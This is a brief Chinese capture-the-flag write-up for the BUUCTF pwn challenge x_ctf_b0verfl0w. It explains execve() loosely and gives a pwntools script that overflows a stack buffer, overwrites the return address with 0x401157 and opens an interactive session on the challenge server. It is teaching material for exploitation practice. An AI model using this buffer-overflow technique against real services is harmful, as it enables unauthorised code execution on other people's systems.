BUUCTF(pwn)x_ctf_b0verfl0w

flag的地址有了

execve() – 叫做执行程序函数

就像Python中的os.system(cmd)这个函数，我们可以用这个函数来执行我们的shell脚本，单独的shell命令，或者是调用其他的程序，我们的execve()这个函数就和Python中的os.system函数类似，可以调用其他程序的执行，执行shell命令，，调用脚本等等功能。

from pwn import*

flag=0x401157

payload='a'*(0x110+8)+p64(flag)

p=remote('node3.buuoj.cn',27806)

p.sendline(payload)

p.interactive()